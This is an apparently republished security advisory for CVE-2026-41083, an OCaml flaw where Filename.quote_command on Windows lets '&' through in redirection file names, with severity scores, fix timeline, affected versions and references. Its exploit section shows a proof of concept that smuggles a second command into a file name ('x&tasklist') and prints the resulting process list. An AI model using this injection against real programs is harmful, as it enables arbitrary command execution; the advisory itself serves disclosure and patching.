# CVE-2026-41083: Windows command execution via filename quotes.

- Severity: Medium 6.1 (CVSS:3.1, scored by OCaml Security Advisories) `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N`
- Known to be exploited: not in CISA's catalogue, which lists only what CISA has confirmed
- Published: 2026-06-18T13:45:00.000Z
- Modified: 2026-11-17T19:00:43.068Z
- Also known as: OSEC-2026-05, OSEC-2026-24

## Description

The quoting of stdin/stdout/stderror (using `Filename.quote_command`) on Windows is not sufficient, and allows the `&` character to be passed through. This allows an attacker to inject a shell command if they can specify the stdin/stdout/stderr of a program to be executed.

## Exploit

```bash
$ opam exec -- ocaml
OCaml version 4.14.2
Enter #help;; for help.

# let outfile = "x&tasklist" in
  let cmd = Filename.quote_command "netsh.exe" ~stdout:outfile ["help"] in
  ignore (Sys.command cmd)
  ;;

Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
System Idle Process              0 Services                   0          8 K
System                           4 Services                   0        168 K
Secure System                  236 Services                   0    191,468 K
Registry                       276 Services                   0      3,428 K
smss.exe                       608 Services                   0      1,676 K
csrss.exe                      984 Services                   0      5,928 K
```

## Timeline

- 2026-06-18 release of this security advisory
- 2026-06-15 release of OCaml 4.14.4
- 2026-06-08 fix by David Allsopp https://github.com/ocaml/ocaml/pull/14853
- 2026-04-11 reported by Anil Madhavapeddy, forwarded from Andrew Nesbitt to security@ocaml.org

(As written by OCaml Security Advisories.)

## Affected

- ocaml (opam): before 4.14.4; from 5.0.0 before 5.5.0; before 4.14.5; from 5.0.0 before 5.5.2
- https://github.com/ocaml/ocaml: before ce6d0f7b67145debec57e296dcc49d8619259198; before 39d3f110eab62ab9f3013bb5f084af2dc3e3bb08; before d5c65dc0034fbd75f10c6b54028e8b2740a7b189; before 70a3a75c0bfb23d67ad5fe3e9c1ba9800d61feae; before 0bbf8e5af985feb03a11a5ffe57d068373d09fd0; before 7a2a148bd17158c822235b29b024526629154901

## Every score

- OCaml Security Advisories: CVSS:3.1 6.1 Medium `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N`
- OCaml Security Advisories: CVSS:4.0 `CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P`

## References

- <https://github.com/ocaml/ocaml/pull/14853> (fix)

## Sources

- OCaml Security Advisories: [OSEC-2026-05](https://osv.dev/vulnerability/OSEC-2026-05), CC0-1.0, modified 2026-11-17
- OCaml Security Advisories: [OSEC-2026-24](https://osv.dev/vulnerability/OSEC-2026-24), CC0-1.0, modified 2026-11-17

---

Page: https://cve.day/CVE-2026-41083 · Whole record: https://cve.day/CVE-2026-41083.json · Rebuilt by cve.day 2026-11-25T22:56:18.365Z
